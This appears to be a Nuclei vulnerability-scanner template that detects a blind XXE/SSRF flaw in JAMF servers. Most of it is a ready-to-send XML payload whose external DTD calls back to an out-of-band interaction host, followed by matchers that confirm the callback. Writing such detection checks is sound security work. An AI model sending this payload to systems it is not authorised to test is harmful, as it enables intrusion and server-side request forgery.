2022-02-01 10:40:51 +00:00
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id: jamf-blind-xxe
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info:
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name: JAMF Blind XXE / SSRF
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author: pdteam
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severity: medium
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2022-04-22 10:38:41 +00:00
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reference:
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- https://www.synack.com/blog/a-deep-dive-into-xxe-injection/
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2022-02-01 10:40:51 +00:00
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tags: xxe,ssrf,jamf
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requests:
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- raw:
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- |
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POST /client HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<?xml version='1.0' encoding='UTF-8' standalone="no"?>
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<!DOCTYPE jamfMessage SYSTEM "http://{{interactsh-url}}/test.xml">
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<ns2:jamfMessage xmlns:ns3="http://www.jamfsoftware.com/JAMFCommunicationSettings" xmlns:ns2="http://www.jamfsoftware.com/JAMFMessage">
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<device>
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<uuid>&test;</uuid>
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<macAddresses />
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</device>
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<application>com.jamfsoftware.jamfdistributionserver</application>
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<messageTimestamp>{{unix_time()}}</messageTimestamp>
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<content xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns2:ResponseContent">
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<uuid>00000000-0000-0000-0000-000000000000</uuid>
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<commandType>com.jamfsoftware.jamf.distributionserverinventoryrequest</commandType>
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<status>
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<code>1999</code>
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<timestamp>{{unix_time()}}</timestamp>
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</status>
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<commandData>
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<distributionServerInventory>
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<ns2:distributionServerID>34</ns2:distributionServerID>
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</distributionServerInventory>
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</commandData>
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</content>
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</ns2:jamfMessage>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "http"
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- type: word
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words:
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- "com.jamfsoftware.jss"
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